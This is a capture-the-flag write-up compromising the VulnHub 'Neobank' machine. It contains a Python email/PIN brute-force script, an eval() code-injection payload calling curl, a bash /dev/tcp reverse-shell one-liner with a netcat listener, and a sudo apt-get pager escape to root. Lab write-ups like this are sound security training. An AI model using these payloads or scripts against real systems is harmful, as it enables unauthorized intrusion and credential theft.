# Neobank: 1 BOOT2ROOT CTF VULNHUB WRITEUP Welcome to my writeup on the *Neobank* machine from VulnHub. In this walkthrough, I will document the entire exploitation process as if conducting a formal penetration test. The objective is to simulate a real-world assessment by identifying and leveraging vulnerabilities to gain root access on the target system. This includes a structured approach involving initial reconnaissance, enumeration, exploitation, and privilege escalation. All steps are outlined clearly, supported with relevant tools and commands used during the engagement. This writeup aims not only to showcase the methodology but also to reinforce key principles in offensive security.

**Reconnaissance** We will begin the assessment by performing a network scan using **Nmap** to identify open ports and potential entry points on the target system. `nmap -A -sC -p- T5 -oN nmap_result.log 192.168.191.78`

Next, we navigate to the HTTP service in a web browser to manually inspect the content served by the web server.

We are redirected to a login page asking for email and a pin

**Enumeration** The next step involved performing directory enumeration using **Gobuster** to identify accessible subdirectories on the web server. `gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/seclists/Discovery/Web-Content/directory-list-lowercase-2.3-medium.txt -t 40 -x html,php,txt -q`

While scanning, a subdirectory name **/email_list**

We then accessed the discovered subdirectory to analyze its contents. The following observations were made:

Given that the page displays a collection of email addresses and the previously discovered login page requires an email for authentication, it was reasonable to assume one of these could be valid credentials. Therefore, the email addresses were extracted and saved to a file named `neobank_emails.txt` for further use.

At this stage, it might seem logical to proceed with a brute-force attack using the collected email addresses. While this is a viable option, it's important to first analyze the behavior of the login page when invalid credentials are submitted. This may reveal useful information or unexpected responses that could aid in the next steps.

It is noteworthy that the authentication mechanism does not provide explicit feedback or distinguishable error messages upon submission of invalid credentials. This behavior results in uniform server responses regardless of the legitimacy of the input, effectively obfuscating authentication failure events. Consequently, automated credential brute-forcing tools such as Hydra are rendered ineffective, as these tools depend on differential server responses to ascertain the validity of login attempts. The absence of response variance prevents reliable identification of successful authentications, thereby negating the utility of brute-force methodologies in this context. However, how can we perform brute forcing under these conditions? While traditional tools may be ineffective, it is still possible to carry out a brute-force attack by developing a custom approach tailored to the system’s specific behavior. **Exploitation** Before developing our brute-force script, it is necessary to generate an appropriate wordlist for potential PINs. Since we already possess a wordlist of email addresses, it is reasonable to assume that the PIN consists of up to six digits. To this end, we will extract numeric passwords of six digits or less from the `rockyou.txt` dataset, then sort and filter them accordingly to create a focused PIN wordlist. To begin, I extracted all numeric values. `cat /usr/share/wordlists/rockyou.txt | egrep "^[0-9]*[0-9]$" > pins.txt` Next, I filtered the numeric values to include only those with six digits or fewer. `cat pins.txt | grep -x '.\{6\}' | sponge pins.txt` With the comprehensive PIN list generated, encompassing all values from 000000 to 999999, we proceeded to develop a custom brute-force script to systematically test these credentials against the target authentication mechanism. ```python import requests import sys # Target endpoint URL for the login form TARGET_URL = "http://192.168.191.78:5000/login" # File paths to the wordlists containing email addresses and PINs EMAIL_LIST_PATH = "neobank_emails.txt" PIN_LIST_PATH = "pins.txt" def read_lines_from_file(path): """ Reads lines from a file and strips whitespace. Returns a list of non-empty lines. Exits the program with an error message if the file can't be read. """ try: with open(path, 'r') as file: return [line.strip() for line in file if line.strip()] except Exception as e: print(f"[!] Failed to read from {path}: {e}") sys.exit(1) def attempt_login(email, pin): """ Attempts to authenticate to the target URL using the given email and PIN. Returns True if a valid credential is identified (based on status code and cookies). """ session = requests.Session() payload = { "email": email, "pin": pin } try: # Send the POST request with the login form data response = session.post(TARGET_URL, data=payload) code = response.status_code # Log each attempt to track progress and responses print(f"[*] Attempting {email}:{pin} --> HTTP {code}") # Heuristic for successful login: # HTTP 200 OK and exactly one session cookie received if code == 200 and len(response.cookies) == 1: print(f"[+] VALID CREDENTIAL FOUND") print(f" ├── Email : {email}") print(f" ├── PIN : {pin}") print(f" └── Status Code : {code}\n") return True except requests.RequestException as err: print(f"[!] Request failed for {email}:{pin} --> {err}") return False def main(): """ Main execution logic: - Load wordlists for emails and PINs - Begin brute-force attempts across all combinations - Stop once a valid credential pair is discovered """ emails = read_lines_from_file(EMAIL_LIST_PATH) pins = read_lines_from_file(PIN_LIST_PATH) print(f"[*] Loaded {len(emails)} email(s) and {len(pins)} PIN(s).") print(f"[*] Starting brute-force operation...\n") # Iterate through all email and PIN combinations for pin in pins: for email in emails: if attempt_login(email, pin): return # Exit on first valid credential pair found if __name__ == "__main__": main() ``` It’s important to note that the brute-force process may be time-consuming due to the volume of PIN combinations being tested. Patience is required as the operation progresses through each credential pair systematically.

After a significant amount of time, the valid credentials were eventually identified.

With both the email and corresponding PIN now obtained, we can proceed to authenticate to the target application.

Upon successful login, the application prompts for a second authentication factor—a time-based one-time password (TOTP). However, the challenge lies in locating the secret key or QR code required to configure it in an authenticator app. I proceeded to enumerate accessible subdirectories and came across one named `/qr` `gobuster dir -u http://192.168.191.78:5000/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -t 40 -x html,php,txt -q`

Navigating to the `/qr` directory revealed a QR code, which is commonly used to set up TOTP-based 2FA in authenticator applications.

After scanning the QR code using an authenticator app on my phone, it successfully generated a valid TOTP code. Upon submitting the 6-digit TOTP code, the application redirected to the following page.

Since it’s a banking system that allows balance withdrawals, let’s go ahead and try withdrawing.

That's odd—why did it turn negative? Seems like there's a logic flaw here. Let's launch Burp Suite and dig deeper.

While reviewing, I identified a URL parameter named `withdraw`, which appears to control the amount being withdrawn. To verify its functionality, I modified the parameter to `1` and observed that the application successfully processed the request and returned an appropriate response. This confirms that the `withdraw` parameter plays a direct role in the application's transaction logic. Given its behavior and lack of apparent validation, this parameter may potentially serve as an entry point for further exploitation—possibly leading to remote code execution (RCE) if improperly handled on the backend. After trying different payloads, this one works: `__import__('os').system('curl ')` All I did is to setup an http server in my attacker machine to see if that request will be sent to the server. and it is.

At this stage, the goal is to establish a reverse shell connection to gain remote access to the target system. For this, I crafted a payload designed to initiate a reverse shell using bash: `/bin/bash -c 'bash -i >& /dev/tcp// 0>&1'` The next step is to configure a listener on our machine using **ncat**. `nc -lnvp 1234` Once the payload is delivered to the server, it is expected to establish a shell connection back to us.

Here's our listener:

Within the `/var/www/html` directory, I located a file named `main.py`. Let’s examine its contents. ```python from flask import jsonify from flask import Flask,flash,redirect,render_template,request,session,abort from passlib.hash import sha256_crypt import mysql.connector as mariadb import os import operator import pyotp import pyqrcode from io import BytesIO app = Flask(__name__) con = mariadb.connect(user='banker',password='neobank1',database='bank') secret = pyotp.random_base32() @app.route('/') def home(): if not session.get('logged_in'): return render_template('login.html') else: return render_template('index.html') @app.route('/login',methods=['POST']) def do_admin_login(): login = request.form email = login['email'] pin = login['pin'] cur = con.cursor(buffered=True) sql = "SELECT pin FROM account WHERE email = %s" e = (email,) data = cur.execute(sql,e) data = cur.fetchone() if not data: flash('Wrong email or pin!') elif sha256_crypt.verify(pin,data[0]): account = True if account: session['logged_in'] = True session['email'] = email flash('Success!') else: flash('Wrong email or pin!') return home() @app.route('/qr',methods=['GET']) def qrcode(): if session.get('logged_in'): uri = pyotp.totp.TOTP(secret).provisioning_uri(session['email'],issuer_name="neobank.vln") totp = pyotp.TOTP(secret) url = pyqrcode.create(uri) stream = BytesIO() url.svg(stream,scale=5) return stream.getvalue(),200,{ 'Content-Type': 'image/svg+xml', 'Cache-Control': 'no-cache, no-store, must-revalidate', 'Pragma': 'no-cache', 'Expires': '0' } else: return render_template('login.html') @app.route('/otp',methods=['POST','GET']) def otp(): if session.get('logged_in') and request.method == 'POST': login = request.form code = login['otp'] totp = pyotp.TOTP(secret) if totp.verify(code): cur = con.cursor(buffered=True) q = "SELECT email,balance FROM account WHERE email = %s" e = (session['email'],) data = cur.execute(q,e) data = cur.fetchone() if not data: return render_template('index.html') else: session['data'] = data return render_template('bank.html',data=data) else: return render_template('index.html') else: return home() @app.route('/email_list',methods=['GET']) def getEmails(): cursor = con.cursor() cursor.execute("SELECT email FROM account") emails = cursor.fetchall() return jsonify(emails) @app.route('/withdraw', methods=['POST']) def withdraw(): if session['logged_in']: amount = request.form['withdraw'] data = session['data'] balance = eval(amount+"-"+data[1]) data = [session['email'],balance] return render_template('bank.html',data=data) else: return home() @app.route('/logout') def logout(): session['logged_in'] = False session['email'] = None session['data'] = None return home() if __name__ == "__main__": app.secret_key = os.urandom(12) app.run(debug=False,host='0.0.0.0',port=5000) ``` It’s important to note that the MariaDB username and password are hard-coded within the script. This indicates that the system utilizes a database management system (DBMS) to store user information, including the email addresses previously discovered. The next step is to attempt logging into the database using these credentials.

Access to the database was successfully gained. Upon inspecting the available databases, I identified one named `bank`. Within this database, there are two distinct tables.

The **`accounts`** table contains the user records, including their email addresses and hashed PINs.

Within the `system` table, I found the plaintext password associated with the user named `banker`.

Now let's switch to user `banker` . `su banker`

At this point, we successfully compromised the user `banker` and obtained the user-level flag.

With initial access established, the next objective is to escalate privileges and gain root access. To begin the privilege escalation process, I examined which commands could be executed with elevated privileges by running `sudo -l`.

It appears that the `apt-get` command can be executed with elevated privileges via `sudo`. This is significant because `apt-get` is a package management tool used on Debian-based systems (such as Ubuntu) to install, upgrade, and manage software packages. When misconfigured or unrestricted under `sudo`, it can be leveraged to escalate privileges—potentially allowing an attacker to gain root access through methods like installing packages with post-installation scripts. To explore potential ways to leverage `apt-get` for privilege escalation, I consulted GTFOBins—a well-known resource that documents how common Linux binaries can be exploited when misconfigured.

The `apt-get changelog` command **downloads the changelog over HTTP or HTTPS and opens it using the default pager** (usually `less`, `more`, etc.). If that pager allows us to **run shell commands**, then we can escape to a shell **from inside the pager**.

At this point, it's evident that privilege escalation is possible. Executing the final command and pressing Enter should result in a root shell being spawned.

Root access has been successfully obtained—Neobank has been fully compromised.

**Conclusion** This assessment successfully demonstrated a full compromise of the *Neobank* machine hosted on VulnHub. The engagement began with reconnaissance using `nmap`, followed by web enumeration that led to the discovery of exposed subdirectories and email data. By leveraging this information, a custom brute-force script was developed to bypass an intentionally vague login mechanism and identify valid credentials. Subsequently, a time-based two-factor authentication (2FA) challenge was bypassed by locating and scanning a QR code linked to a TOTP generator. Post-authentication, parameter tampering was observed in the `withdraw` functionality, which ultimately provided a foothold for Remote Code Execution (RCE) via a crafted reverse shell payload. Privilege escalation was achieved by identifying `apt-get` as an executable command with elevated privileges through `sudo`. Utilizing guidance from GTFOBins, the misconfiguration was exploited to gain root access. The engagement successfully uncovered multiple security flaws across the attack chain—from information disclosure and weak authentication mechanisms to improper input handling and insecure privilege escalation paths—highlighting critical areas that need to be addressed in the application and system configuration to improve overall security posture.